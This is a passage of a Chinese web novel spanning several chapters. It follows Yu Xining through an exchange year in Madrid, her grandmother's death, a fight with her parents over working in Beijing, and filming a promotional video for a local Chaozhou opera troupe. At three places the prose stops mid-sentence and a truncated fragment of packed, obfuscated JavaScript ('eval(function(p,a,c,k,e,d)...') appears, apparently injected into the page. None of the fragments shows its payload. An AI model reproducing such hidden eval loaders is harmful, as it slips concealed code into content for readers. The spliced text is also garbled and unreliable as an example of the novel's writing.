不论余希柠怎么说,陈慧柔都听不进去,余序洲摆了摆手示意女儿:“就答应你妈,通个视频,这事儿也不难,省得她因为你睡不着觉。” 余希柠叹气妥协。 37. 白事 大三第二学期考试结束,余希柠没有回家,去了趟广州找陈梓钰,然后提前飞往马德里。 郑重和交换项目相关负责老师去机场接的学生,因为是两校合作,所以学校给中国学生提供了公寓住宿,两人一间,不用再去校外另外租房。 “怎么样,还习惯吗?” 郑重挽着余希柠的手,两人又能做舍友了。 余希柠:“就觉得一切都很新奇,不过这会儿语言系统还没有完全切换过来。” “慢慢适应,等放好行李我带你去学校走一走,哦对了,老师会组织大家一块去超市生活采买,要不你先休息,等明天再参观也来得及。” “嗯嗯。” 有郑重在,余希柠安心很多,她提前来了一年,对这里的生活学习已然很熟悉,来之前还给了余希柠一份很详细的攻略,里头带什么东西,什么注意事项全都写得一清二楚。 这样的朋友,余希柠视若珍宝。 本以为自己需要花一段时间才能适应这边的生活,谁知第一周上课,余希柠就已经完全爱上。 每门课每节学分是3分,一学期要修满30分才算通过,余希柠参考郑重选的科目又抢了一两节自己感兴趣的,每周十堂课,周五不上课,专门空出来和周末做衔接,小假期可以出去玩一玩,了解一下当地的文化风情。 在国内学语言和在国外上课是完全不同的感觉,大环境驱使下,余希柠每天都在说西语,除了回宿舍和郑重聊天是说的普通话。口语能力肉眼可见地飞速进步,有时候连梦里对话都下意识用西语。 “你小组作业课题完成得怎么样?” 郑重刚交完一个ddl,躺在床上伸懒腰,她这种急性子在这儿可算是被彻底磨圆了。 平日小组作业下来,外国人都是一副不慌不忙的样子,等到要交的前一天才全速发力。 最开始郑重把在国内那套学习节奏带了过来,恨不得每个环节都催促,后来发现根本催不动,到头来累的还是自己,还会和组员有矛盾。 用余希柠的话说,就是要入乡随俗,在不完全违背自己准则的情况下,尝试去融入他们,这才是来交流的意义。 “还行,目前缓慢有序地进行着。” 余希柠一说缓慢二字,两人就有默契地笑了。 “我下午还要去跟他们做讨论,等结束时给你发信息?”余希柠一边收拾包包一边问郑重,两人没课的时候晚饭都是一块吃的。 “行,我提前去餐厅排队等你也可以。” 余希柠背着书包去往图书馆一层的自习室,一路还拍了不少风景图,她实在是太喜欢这里的天气和氛围了。 如果经济条件允许,重来一次她肯定选择两学年的项目。 余希柠到后,组员陆陆续续来,寒暄了两句就正式进入课题作业,每个人把负责的资料拿出来讲一遍,挑重点进行分析,由组长统一判断,收集组员意见做整理。 开会的时候余希柠手机是放书包里的,她早上是满课,起晚了匆匆忙忙就忘了给家里打视频。 余希柠先前和陈慧柔约好,早上十点多十一点,正好一节课结束就拨视频,那会家里正好吃完晚饭也方便接。后来陈慧柔掌握了这个规律,有时候余希柠没主动联系,她就会直接拨过去。 今天赵婷的情况不太好,余稚乔一个人应付不过来,就把余序洲叫过去。陈慧柔一个人在家左眼皮跳完右眼皮跳,实在不放心,把家务活干完便拿着钥匙出门,也过去余家。 夫妇俩直到深夜才回,陈慧柔进门第一件事就是给手机充电,一路上不停念叨着,余希柠打不通视频该着急了。 他俩出门都没留意手机电量,到了余家也忘了给手机充电,回来路上才发现关机了。 “希柠没给我发消息,怎么回事啊?” 手机刚开机,陈慧柔就迫不及待点开微信,结果并没有新消息。她翻开旁边的笔记本对了一下余希柠今天的课程安排:“下午都没课,也没呼我。” 余序洲折腾了一天早就累得说不出话了,瘫倒在沙发上阖眼休息,听见陈慧柔在那里念叨,没声好气:“兴许她有什么事在忙,一天不联系也没什么。” “才不是,我今天眼皮一直跳,别是有什么事情。” 陈慧柔没管余序洲,拨了好几个视频过去都无人接听,一颗心悬上来,加之今天因为赵婷的事儿也捏了把冷汗,情绪一直处在高度紧张的状态,这会儿坐在椅子上,头突突疼。 余希柠直到小组讨论结束才拿过包包,在看到手机上弹出来有十几条未读消息后,慌忙点开微信。 旁边的同学和她打招呼离开,余希柠都应付不过来,只知道赶紧给陈慧柔回拨过去。 “妈,发生什么事了吗?” 镜头里灯光昏暗,余希柠这才想起国内这会儿已经十二点多了,可陈慧柔居然秒接她的视频。 “希柠啊,你怎么一直不接视频呢?” 陈慧柔披了件衣服坐在电脑前,看到余希柠的那一刻,心才缓下来。 她一直没睡,时不时爬起来看手机,生怕漏掉信息,就把消息提示音开到最大,她才不管会不会吵到余序洲。 “我下午有小组讨论会,都没空看手机。妈,你是等我等到这个点吗?” “对啊,我不放心你。” 余希柠有一瞬间感觉喘不上气来,她扶着桌面重新坐下,耐心把手机镜头调转给陈慧柔看了周围环境。 “我在自习室这边,没什么事。” 陈慧柔点点头,满脸疲倦。 “很晚了,妈你快睡吧。” 有些话在肚子里来回鼓捣,但这会儿余希柠是真说不出口,结束视频前陈慧柔还吩咐了一句,明天老时间不见不散。 余希柠抱着笔记本回到寝室,进门时郑重刚换好衣服:“哎,不是说到楼下的时候打个电话吗?怎么还上来了。” “我想了想还是先把包放下,太重了。” 两人挽手下楼,余希柠问郑重:“我平常好像没怎么见你跟家里人通话,你爸妈不会好奇你在这边的生活吗?” “刚来的时候会,不过他们工作也忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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余希柠不知道奶奶病得如此之重,收起旅游的心思,学期一结束,立马收拾行李飞回国。落地广州准备转高铁回家时,她就接到了余序洲的电话,奶奶去世了。 赵婷一生信奉基督,是虔诚的基督教徒,白事办得简单但体面,由教堂的长老来主持。 这个春节,余家没怎么出门见客,亲朋也都是通过电话来拜年。 半个月假期结束,余希柠飞回西班牙开启第二学期的生活,同时也开始着手准备校招,看机会投简历。 写课题、论文和找工作同步进行,余希柠变得非常忙,有时候晚上一两点,桌上的台灯还亮着。 郑重打算读研,她原本想邀请余希柠一块申请,但考虑到费用,余希柠拒绝了,她不想让父母压力太大。 同时也责怪自己还是太过养尊处优。没法像余清越那样,上大学就能赚钱贴补家用。反过来,她还得靠家里人给钱。 因此,有什么能力就做什么样的事,余希柠决定不申请研究生。她一直在看北京的机会,林烜也帮着参考。 “你决定来北京工作,和家里人商量过没?我怎么感觉这不太现实。” “这有什么,我大学不也在北方读?” 林烜好歹认识余希柠几年了,多少也知道她家里的情况和父母做事风格,委婉提醒:“还是说一下吧,别等offer都拿了,不让去就白忙活。” 余希柠想了下,一方面想以自我为中心,另一方面又不自觉地为父母摇摆不定。 “行吧,我考虑考虑。” 38. 分歧 本科四年一晃眼就过去,兴许是因为最后一年在国外,感觉时间过得更快。余希柠回到天津,把部分衣服和一些书籍分批快递回家,自己则等全部手续都办妥了才离校。 陈慧柔知道余希柠要回家,提前问她想吃什么,早早就到市场采购。还把卧室里的被子、床单、枕头套统统洗晒一遍,连窗帘都洗了。 邻居见她每天忙里忙外还一脸笑盈盈,问道:“你家希柠是不是要回来啦?毕业了是不是?” 之前听说余希柠做交换生去西班牙,邻居们一个个都在夸她优秀又懂事,这留学一年也算是海归了。 就连许明姚也主动问余序洲,这交换生申请难不难,费用高不高。 余序洲还记着之前余希柠说的那些区别对待,面上淡淡道:“当然难,全校也就五个名额,她凭实力申请上了,费用就算再高,做家长的也要支持,骄傲嘛不是?” 许明姚呵呵笑了笑:“那确实厉害。” 饶平高铁站在高堂镇,余希柠到站下车,一出来就看见了余序洲。往常等在前排的都是陈慧柔,今天居然没来。 “你妈在家里做饭,就没来接你。” 余希柠还没问,余序洲就先解释:“我本来都劝她不要在家煮,直接去李厝吃牛肉火锅算了,她不听。” “吃什么都行,爸,我妈最近心情怎么样?” 余希柠一上车就开始打听,为聊就业问题做铺垫,回来的路上她还在跟陈梓钰讨论。 “我赌五毛钱,大姑不同意你去北京。” 连陈梓钰都这么说,余希柠开始担心原先自己是不是想得太乐观了。 余序洲全神贯注开车,视线集中在前方:“你回来,她当然很开心,怎么啦?” 余希柠:“没什么,我就问问。” 到了小区楼下,余希柠刚把行李搬下车就听见楼上铁门吱呀推开的声音,陈慧柔穿着拖鞋就下来帮忙。 “回来啦!” 声音里的喜悦简直就像唱出来似的。 “妈。” “哎,好像瘦了。”陈慧柔摸摸余希柠的脸,见她要搬行李,忙不迭拦住:“这让你爸来,书包我背着吧。” “就两步路,我自己可以,在国外我不也都一个人吗?” 余希柠三两下将箱子搬上二楼,动作干净利索也不扭捏。 “饿了吧?先去洗手,我给你盛碗汤喝。” 余希柠上高铁前已经吃过麦当劳,这会儿根本就不饿:“那先放凉吧,我洗完澡再来喝。” “行行行,那先洗澡。” 等余希柠从浴室里出来,陈慧柔又赶忙上去帮她把衣服理好丢进洗衣机里单独洗。见行李箱已经被推进房间,余希柠伸手摸了下,表面明显还擦过的,连轮子上都很干净。 “我今天在路上碰到宋乔妈妈了,她说宋乔暑假不回家,在广州一边实习一边准备考研?” “对。” 余希柠吹干头发去餐厅喝汤,陈慧柔就搬开凳子坐在她旁边的位置,一边聊天一边看着她。头发变长了,脸颊瘦了不少,五官越来越精致,当妈的越看越喜欢。 “你不打算考研吗?” “这话题我们之前不是讨论过了吗?小语种在国内读研也没意思,出国读的话费用太高,我还是找工作吧。” 没想到话题引入得这么顺利,余希柠放下碗,抽过纸巾擦了擦嘴。刚准备说自己在投简历的事儿,余序洲就闻声过来。 “你这个专业报考公务员会不会竞争比较少?试试参加国考?” 余希柠:“爸,你怎么又来,之前不都说了吗,我不想考公和教招,当然,我这个专业也当不了老师,中小学都没有读西语的。” 余序洲耐着性子解释:“公务员稳定,铁饭碗,多少人都求不来的工作,你真要能考上,那都是祖上烧高香。” “可我就是不喜欢啊。”余希柠不厌其烦道:“我真不是考公的料,凡是跟考试沾边的,都跟我余希柠八字相冲。” “呸呸呸,胡说八道什么。” 陈慧柔最忌讳听这些,她冲余序洲扬了扬下巴,示意他别强迫孩子。 “我还是觉得公务员好,女孩子就得求一份稳定的工作。” 余序洲丢下这句话转身去客厅看电视。 餐厅里只剩下余希柠和陈慧柔,陈慧柔托着腮帮子看女儿:“那你怎么打算?去广州找工作吗?和梓钰一起也有个伴儿。” “妈,我不想去广州,我已经在看北京的工作了,我想去北京。” 话音刚落,原本唇角还带着笑的陈慧柔表情霎时一变,她生怕自己是听错了:“北京?” “对,我想参加北京外企的校招,机会还蛮多的,我今天就收到一封邮件……” “不行。”陈慧柔直接打断余希柠的话:“你找广州,找深圳的工作我都不反对,唯独北京不行。” “为什么?” 余希柠不理解。 “北漂这个词你知道吧?用漂来概括,可见有多辛苦。先不说气候条件你能不能适应,在那里,人生地不熟的,你一个女孩子我们怎么可能放心。” 陈慧柔坚决不同意,脸色都变了。 余希柠攥紧了手指,下意识抿了抿嘴唇来让自己情绪平和一些,就像陈梓钰说的,跟父母是沟通,而不是吵架。 “妈,北方气候我早就适应了,也挺喜欢的。主要是在北京机会多,毕竟是首都,而且怎么会是一个人呢,林烜也在北京啊,他可以帮我找房子,有什么事我都能找他帮忙。” 不好意思啊林烜,拉你出来当三秒钟挡箭牌。 “你和林烜谈恋爱了?” 陈慧柔眼里有了一丝喜色,身子瞬间坐直了。 可惜余希柠没看出来,全部注意力都在说服陈慧柔答应自己去北京工作这件事上,下意识否定:“当然没,我的意思是他也在北京,我不会是人生地不熟。” “那不行,如果你们是在谈恋爱,我还能稍微考虑一下。” 余希柠纳闷道:“怎么谈恋爱就可以了?” “两个人在外相互扶持,总比一个人好,恋人和朋友是不一样的,朋友能时时刻刻关注到你吗?” 电视剧再好看也没有餐厅里的争议声吸引人,余序洲又走了进来,双手拿着遥控背在身后。 “聊什么那么激动?” “你女儿说要去北京找工作,你听听看。” 陈慧柔起身收拾碗筷去洗碗池,把空间留给余序洲父女。 “怎么突然想起要去北京找工作了,北漂很辛苦的,压力又大。” 同样的话又要说第二遍,余希柠都觉得口干舌燥,但为了争取到余序洲这一票,她还是耐心重复。 “爸,北京机会多,工资也高,我还年轻不正该去闯荡吗?” “你一个女孩子闯荡什么,想找外企的工作,广州不是大把吗?你小姨就在外企,没准还能给你搭把手。深圳的话有你小舅在,资源这么多你不利用,去北京单打独斗八成得灰溜溜回来。” 余序洲新闻看多了,对北漂没什么好印象,气候差多雾霾,没钱的都挤胡同小单间,环境差还老旧…… “你妈不同意就对了,我们把你养这么大不容易,怎么舍得看你去北漂吃苦。” “怎么会是吃苦呢……”余希柠哭笑不得,总感觉说不通的样子,逐渐开始着急。 她尝试着把想投的外企拉出来介绍一遍,余序洲一副很了解但不想听的表情。 “我还是那句话,想找外企的工作,在广州和深圳都能找到,离家近我和你妈也安心,等你妈退休了还能过去帮你做饭、照顾你。” “我不用我妈帮我做饭照顾我,我自己可以。” 余希柠直接跳起来了,她不知道北京,无数年轻人趋之若鹜向往着的城市,为什么在父母眼中那么不值钱。 难怪都说和父母,在成长过程中注定要打一战,有些人是在选择志愿、选择学校的阶段,有些人是在选择就业城市的阶段,有些人是在择偶的阶段…… 不打完这一战,注定没法成为一个真正的成年人。 “我听懂了。” 陈慧柔把碗摔进碗池里,手都没擦滴着水走到余希柠面前,脸色十分难看,声音里尽是失望和寒心。 “你选北京不是因为机会多,是因为离家远!你巴不得离我和你爸远远的对不对?就跟你当初选大学一样,非要选北方的城市,就是想离开这个家!” 那些藏在心底深处的一直不敢表现出来的,有朝一日竟是以这样的方式被撕开呈现,余希柠表情僵住。 她承认在一开始,有种被拆穿后,大松一口气的豁然,甚至很想接住那句话承认,她确实就是这么想的。 但在看见陈慧柔的脸色和表情时,不知从何处升起的心疼与愧疚顷刻间压下了内心那股劲。 她差点就想说不是这样的。 “你太自私了余希柠,我和你爸为了你付出那么多,不知道感恩就算了,难道还觉得我们是做多了?” 陈慧柔气得双腿发软有些站不住脚,她扶住椅子喘了口气:“你去天津这些年,还有去西班牙,我每天都过得心惊胆战,生怕你出什么事。好不容易盼到你毕业回来了,又说要去北京,你就不能让我们省点心吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他掩唇轻咳了一声,腰背微弯,借着餐厅的灯光,余希柠视线落在余序洲鬓边的白发上。上次回家分明还没看见余序洲长出白发来,怎么才一学期的时间就…… “你在西班牙这一年,你妈每天都会看新闻,但凡出现跟西班牙有关的就很关注,担心国外局势会对你有影响,一个从不看报纸的人,主动订了一份人民日报,每天就在上面抠字眼。” “你后来和她说你学习太忙,不要天天视频,她嘴上答应你,但没有视频的那几晚,她根本就睡不着觉。你妈身体跟心理素质有多差你也是知道的,有些话爸不说,让你自己想。如今也是要步入社会的人了,自己该懂得思考是非对错。” 余序洲拍了拍余希柠的肩膀,走之前表达了自己的意见:“我还是那句话,不同意你去北京工作。” 余希柠独自在餐厅坐了很久,久到客厅的电视都关了,久到整间屋子都安静下来。 原本空间里弥漫的失望、不解、愤怒与挣扎逐渐散去,她整颗心也冷了下来。到头来,自己还不如陈梓钰更了解父母。 余希柠扶着桌子起身,把陈慧柔没洗完的碗洗好擦干放回消毒柜里。回房时会经过父母的卧室,房门紧闭,只看得见门缝透出来的灯光。 里头似乎很安静,与之前在餐厅里剧烈的争吵声截然不同。 余希柠回房打开行李箱,半边装的是衣服和日用品,半边是从西班牙、天津带回来的手信。都还没来得及分享就大吵了一架,这会儿只能默默把东西收拾出来,之后再找时间给陈慧柔和余序洲。 放在床头柜的手机震了几下,是郑重发来的消息。 “怎么样?还顺利吗?看你半天都没主动报备,该不会聊爆了吧?” 余希柠苦笑,拿着手机盘腿坐在地上,背靠着床边编辑消息回复:“这成长的第一枪成哑炮了,宣布失败。” 郑重:“啊?没有揭竿起义吗?” 余希柠:“再起就要家破人亡了。” 页面顶部不断出现“对方正在输入中”但迟迟没有新消息弹出来,估计是在想着怎么安慰自己吧,余希柠先一步回了消息—— “我好像陷入了一个非常矛盾的局面,也不太喜欢这样的自己。一方面觉得他们的做法让我绝望又窒息,另一方面又觉得他们内心是爱我。” 陈慧柔所做的一切不断在她脑海里浮现,就是那些场景在一点点凌迟着她,把不忍放大化。 郑重:“这不就是传统的父母吗,只能说他们虽然比有些潮汕人家要开明,但不多,骨子里还是偏保守的类型。” 郑重:“你这种矛盾心理也很正常,你爱自己,也爱他们。” 作为朋友,郑重原本可以说余希柠的父母太强势,控制欲太强,也可以说余希柠去北漂的想法风险太大,太辛苦。可她没有,她没有理由去评价和判断。 余希柠:“我再想想,是放弃还是等他们冷静下来再继续聊。” 郑重:“relax,不要给自己太大压力。” 余希柠回了个抱抱的表情包给郑重,手机锁屏收回掌心。窗外的树,枝叶太过繁茂盖住了月光,半点都透不进屋子,反倒像极了她此时此刻的心境。 39. 接活 隔壁卧室,陈慧柔靠在床头沉默着不说话,余序洲把房间里的电视调成静音模式,就怕吵到陈慧柔。 “我真是把她惯坏了。” 从小到大,什么都依着余希柠,陈慧柔自认为自己在教育女儿这方面是足够开明,现在看来,就是管得太松了,才让她什么都敢做。 余序洲拿着遥控器坐在床尾,随口接了句:“会不会是因为朋友鼓动,她才想去北京的?” “她自己都说不是了。” 陈慧柔头疼得厉害,早起的喜悦被余希柠三两句话冲得一干二净:“她这股劲真不知道是像谁,真怕她像填志愿时一样,说要去北方就坚决要去,打死不肯改。” “那你会像之前一样,尊重她的选择吗?” 余序洲回过头看陈慧柔,时间过得真快,还记得四年前填报志愿那晚,他们俩也是彻夜难眠。 余希柠说什么都要选北方的学校,说想去感受北方文化,做父母的尽管不舍但也努力说服自己,只是去上大学,放假就回来了。 眼下,似乎又回到了相似的岔路口。 陈慧柔摇头,坚定道:“我不会了,工作和读书不一样,她太过理想化,我总得帮着纠正才行。” 余序洲:“我今晚已经和她说了我的意见,我反正是不同意。” “如果她能像梓钰那么省心就好了,我们就这一个女儿,将来还要依靠她,怎么就不能待在我们身边,老想着往外跑。” 陈慧柔扯了扯被单盖住膝盖,声音里隐约带了些哭腔和委屈:“我今晚那话真不是乱说,我真觉得她就想远离我们,为什么啊?我哪里做得还不够好吗?” 因为自己小时候得不到父母的重视和偏爱,所以对余希柠,陈慧柔从来都是无条件的付出,围着她转,以她为世界的中心。到头来,这个中心却要主动偏离自己,拒绝自己。 余序洲关上电视,拍抚陈慧柔的后背:“睡吧,等明天早上,我再和她谈谈。” 次日一早,余希柠是被许于薇的电话吵醒。 “希柠,你在潮州这边有认识靠谱的朋友懂拍摄和剪辑吗?我之前约了个摄影师给我爸他们剧团拍宣传片,临了突然放我鸽子。” 之前中央电视台编导专程到饶平观看布马舞,将它作为综艺和春晚遴选节目,今年年初央视戏曲春晚在潮州分会场进行节目录制,饶平布马舞也参加了。 如今黄冈被□□授予“中国民间文化艺术之乡”,借着这个名头,许于薇想帮父母的剧团拍个宣传片进行宣传,没准之后演出的机会会更多。谁知好不容易沟通好的摄影师,说不来就不来了。 “明天剧团在霞西那边有演出,你认识摄影圈的人,能不能帮我找一个时间合得上,性价比高的?” 许于薇知道余希柠副业在做剪辑,实在想不到该怎么办了才打电话来麻烦。 “明天就要拍?”余希柠挠挠头,她认识的老师都是外省的,这么临时的拍摄也很难沟通:“宣传片要求高吗?你看我行不行?” 许于薇:“对呀!我怎么把你给忘了,你高中可是摄影社的。” “拍平面和拍视频还不一样,但如果要求不高,我应该可以,就是得去借一下设备。” 余希柠一边接电话一边起身,刚趿拉着拖鞋出房门,迎面就见到准备来叫她起床的陈慧柔。 母女俩对视一下,陈慧柔见余希柠在打电话,就没说话,指了指餐桌上的早餐,然后拿着车钥匙出门。 许于薇在电话另一头追问设备难不难借:“要求的话,就那种节目宣传片,我不讲究创意什么的。” “行,我吃完饭问一下。” 许于薇松了口气:“感谢天感谢地,感谢余老师救火救急,我下周末回家,你还在吗?到时候请你吃饭。” 余希柠:“许警官难得有假期还要折腾回来?这顿不急,留着等我去了广州再请。” 许于薇:“啊!你什么时候要来?” 余希柠把电话开免提放在洗手池旁边,边挤牙膏边回答:“过一阵子吧,去了提前和你说。” “好!那宣传片的事儿就拜托你啦,我待会把地址和我妹的联系方式发给你,到时你联系她。” “嗯嗯。” 余希柠一口泡沫,含糊说完拜拜就把电话给挂了。 高中和小学还没放假,余序洲跟陈慧柔今天都有课,余希柠一个人在家,倒了杯温水喝完,磨蹭半天才进餐厅。 餐桌上留了碗白粥、一碟鱼肉还有菜脯煎蛋。 她在家吃饭,陈慧柔每次都会把鱼肉先夹出来,自己负责处理鱼头和鱼刺。这习惯即便是在吵架生气时也没有改变。 答应了帮许于薇拍摄宣传片,首要任务得解决相机问题,余希柠一边吃饭一边翻手机联系人,想着该和谁借。 这两年同学陆续毕业,基本都往外发展,选择返乡创业的很少,这会儿要借个相机,难度不小。忽然,列表里出现了一个名字,陈泽豪——高中摄影社社长! 之前经常看他拍一些县城空镜发朋友圈,有时候都不是假期,估计经常回来。余希柠直接发信息问,很快就收到了回复。 陈泽豪很是爽快:“可以啊,我晚上回家联系你,到时候你过来拿。” 相机问题顺利解决,余希柠放下心来,洗好碗筷换了身衣服出门,去余光亮家。每次放假回来她都会先去老人那儿坐一坐,免得被说回来了都不见人影,不懂得尊老。 余稚乔这几年没找工作,就是在家炒股,余光亮这会儿也拿着报纸在研究,旁边还放了本笔记本,上面记着一些数据和股票代码。 见余希柠来了,余光亮摘下老花镜:“什么时候回来的?没听你爸说啊。” “昨天。”余希柠路上买了点水果,放下时看了眼笔记本:“爷爷,你这还炒股呢?我以为就姑姑在炒?” “我偶尔帮她看看。” 余稚乔正在晒被子,听见谈话声出来,笑着招呼。 “希柠来啦,你坐会,吃花生吗?还是要喝露露?” “不用了小姑,我刚吃完饭过来的,肚子还饱着。” 挑股市交易日来做客喝茶,确实有点没眼力见,余希柠一个人煮水沏茶,无聊得很。 余稚乔晒完被子回客厅,闲聊两三句家常后就去看电脑,余光亮这边也是聊着聊着,注意力就转到股票上。 眼瞅着坐了有半小时,余希柠慢慢站起身:“爷爷,我先走了,下次再来看您。” “哦,要走啦?不再多坐会?” 余希柠笑了笑:“不了,您看电视吧,小姑,我走了。” “这么快?” 都是客气话,余稚乔送余希柠到门口,看着她换好鞋子,挥手说拜拜。刚下两节台阶,门砰的一声关上。 余希柠垂眸加快下楼的脚步,一切还和从前一样。 书里写的,长辈目送离开直至再也看不见小孩身影时才依依不舍地把门关上的画面,在她这里从未发生过。 余希柠回到家,余序洲已经回来了。 “去哪了?” “爷爷家。” 余序洲从不会跟余希柠因为争吵而冷处理不说话,知道她主动去爷爷家,甚至面色还有些缓和。 “你爷爷和小姑在看股市?” “嗯。” “问你找工作的打算了没?” 余希柠换好衣服出来,听到这句还顿了下:“小姑问了,爷爷没问。” “那你怎么说,说你要去北京找工作?” 余序洲提了一下裤腿在沙发主位坐下,陈慧柔还没回,他不知道午饭要吃什么,也煮了壶水开始沏茶。 余希柠:“我没这么说。” 余序洲又问:“过了一晚上,想明白了没有?” 见余序洲是这个态度,余希柠就知道这件事是没有任何商量的余地了,除非她要断绝父母关系,离开这个家。 “父母是过来人,比你多活了几十年总归是多了些经验跟阅历。今天你或许会埋怨,等到以后就会回过头来感谢父母了。” 好熟悉的几句话,跟刻在骨子里一样深刻,余希柠下意识蹙眉,她反对这样的说服方式。 “那要是十几年后证明我去北京发展是对的呢?是埋怨能弥补得了的?” 余序洲冲水的动作顿住,水漫过茶壶倒在茶盘上,溅起的水珠子烫到了他的手,这才赶紧停下。 “你——” 余希柠径直往洗手间走去。 陈慧柔回来后,还是没有主动和余希柠说话,似乎已经打定了主意,如果余希柠不收起去北京找工作的心思,就不会原谅她。 余希柠不想去刻意讨好,过了昨夜,即便心中那杆秤已经有了偏向,但她仍需要时间去顺清楚。说到底,就是得说服自己。 饭后,余希柠钻进房间里找参考样片,筛了几个自己能保证拍出差不多效果的给许于薇选。 等选完,她把参考片下载到手机上反复看细节,又写了几个简单的分镜,具体还得看明天现场发挥。 “他们明天正式表演,下午会在霞西吗?我提前过去看看?” 许于薇:“我问下我妹。” 很快有了回复,剧团下午就在那边彩排了,余希柠过去后直接找许若楠就行。 从教师村到霞西,骑自行车得将近半小时,开摩托车的话方便些,但不知道陈慧柔下午有没有课。余希柠一想到两条腿来回两趟,还没出发就已经觉得发酸发软,还是厚着脸皮去找陈慧柔要车钥匙。 “你去霞西做什么?” 陈慧柔还是那个冷淡的态度。 余希柠:“答应于薇帮她爸的剧团拍条宣传片,下去过去看彩排,明早正式拍。” 陈慧柔:“钥匙在架子上你自己拿,出门时把头盔戴上。” “好。” 余希柠没去过霞西村委会,照着许若楠给的地址开着摩托车过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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听陈慧柔说,好几十年的习惯了,家里还没电视机时,都是用收音机听的。 虽说自己是如假包换的潮汕人,说着一口流利的潮汕话,但要听懂潮剧,还是有难度。加上唱腔,短的台词还行,长的话,余希柠根本反应不过来,恨不得眼前有字幕提示。 这剧目叫《荔镜记》,讲的是陈三和五娘的故事,坚守爱情,反抗礼教,短短一出潮剧里也是蕴含着世俗、礼教的讨论和嘲讽。 余希柠用手机取了一些镜头,大致知道了明天该怎么拍,剧团里的演员们都很配合,沟通下来几乎没什么问题。 “辛苦你了希柠姐,为我们剧团来回跑。” “小事,也是给我一个机会了解潮剧,以前都没有这么近距离接触过,感觉很不一样。” 余希柠记得之前许于薇说过,想让许若楠去广州找份工作,不要跟着剧团混,可现在看,她好像还是在做戏,且已经开始演主角了。 “你姐之前说过想让你去广州发展,你不愿意吗?” “她说过,我拒绝了。”许若楠有些腼腆,双手手指攥着:“我初中都没读完就跟着爸妈到处做戏,已经熟悉了这一行,也不会干别的。我不像我姐,书读得多,有一技之长,去了广州我也只能给别人打打工,干不长久。” 许于薇家里的情况,余希柠听说过一点,姐妹俩还有个小弟,也不知道多大了。 “我挺喜欢做戏的,如果这一行能干得专,也是本事。” 余希柠:“确实,对了,你弟弟多大了?” 许若楠:“在老家那边读初三。” 余希柠点头:“也挺大的了。” 不远处有布马舞练习,进来时余希柠也看到了那块牌匾——广东省非物质文化遗产传承基地饶平县保护中心。 她从前以为布马舞只是饶平传统文化的一小部分,没想到早就被列入了广东省非物质文化遗产。 “我去看会布马舞,你先回去忙吧,不用陪我。” 许若楠:“好,那我们明天见。” 再次这么近距离地观看布马舞表演,和小时候在镇一小学里看的学生训练不同,这里的布马舞显然更为专业,竹篾扎成的马首正以不可思议的角度后仰,伴随着老师们的步伐动作,金箔贴就的鬃毛在阳光下碎成千万粒火星。 队形变化比大年初一营锣鼓时看到的要复杂,旁边还有音乐演奏团队,都是些五六十岁的老人,吹着唢呐、竹笛还有曲锣。唢呐一响,前排几只马匹腾跃,整齐舞步与青石板路面碰撞发出的声响,比檐角铜铃更先撞向晚霞。 余希柠后退了两步站定,堪堪避开气场,日渐斜阳,惦记着还要回家吃饭,她收起手机转身往外走。路过门房,大叔抬手打招呼。 余希柠颔首:“叔,我明儿还来,到时麻烦您开门放行。” 大叔:“好嘞。” 40. 发展 次日,余希柠准时出现,赶在剧团上台表演前先把个人展示的镜头取了一遍,做了一晚功课,她已经能准确喊出每位演员老师饰演的角色名。 素材拍完,她花了两天做剪辑,找合适的背景音乐,把DEMO发给许于薇时,许于薇都惊了。 “你这片子拍得太好了吧?和你找给我的样片感觉不一样啊。” “我改了一下形式,额外取了一些城市空镜,就当顺带给小城做下宣传吧。” 余希柠也没把握,发给许于薇那份是她推翻之前样片思路剪辑的,怕和许于薇要求的不一致,她还剪了个常规版。 “还有一个是之前的样片思路,你看觉得哪个ok,我输出高清版的发给你。” “太棒了希柠,你这天生是剪辑师啊,这片子剪得真的太棒了,发到网上估计能得很多关注和曝光。” 许于薇发了个大红包作为感谢,余希柠没收。 “不用啦,你觉得可以就行。这也算给了我一个近距离学习的机会,这些天收获挺大的。” 都说艺术可以陶冶人的情操,这话真的不假,这几日忙于拍摄和剪辑,余希柠心情平复了许多。特别回看拍摄素材时,整个人忍不住又沉浸在岁月呜咽中。 那些被现代剧场淘汰的油彩,在她的镜头里,宛若那缓慢生长出凤凰的尾翎。对焦时微微颤抖的光圈,分明是在丈量传统与现代之间的距离。 唱腔落于耳边,对上镜头里放大的旦角眼神,手指翻飞间仿佛揉碎了百年的悲欢。铜锣一响,倏然窥见旧时戏台上摇曳的烛光。 陈慧柔偶尔也会过来看她片子剪辑的进度,从沉默到主动给一两句建议,再到聊起饶平潮剧、布马舞的发展历史,母女俩的关系总算缓和了。 眨眼余希柠回来也有一个星期,陈慧柔去看望陈镇东,陈敬涛恰好在家,问起余希柠工作找得怎么样,陈慧柔一筹莫展。 “她说要去北京找工作,我和序洲不同意,就没再聊了。” 陈敬涛端坐在主位上,沉吟道:“嗯?怎么想要去北京。” 陈慧柔在一旁坐下,解释:“说北京外企多,机会更多。” “外企?阿琪不就在外企,自己母姨的资源不利用,去北京能干什么,还是天真理想了些。” 陈敬涛说话很直接,往常陈慧柔免不了要替余希柠争辩个一两句,但这次却觉得他句句说在自己的心坎上,毕竟她也是这么想的。 “等我跟梓钰说一声,让她劝劝。”陈敬涛用茶夹夹起一杯茶递到陈慧柔面前:“儿孙自有儿孙福。” 陈慧柔来也是做了这个打算,想让陈梓钰帮忙劝一劝,没想到陈敬涛先提了,她便顺势关心:“梓钰最近怎么样?上次君姐想给她介绍的对象,处了吗?” 陈敬涛摇摇头:“说不听。” 陈慧柔:“孩子都大了,父母说的话都听不进去。” “敬禹和你联系了吗?” 陈敬涛忽然说起陈敬禹,陈慧柔摇头,她和这个小弟一向话少,不同阶层话题都聊不来。倒是陈敬禹的妻子余姗,偶尔会给她打电话闲聊家常。 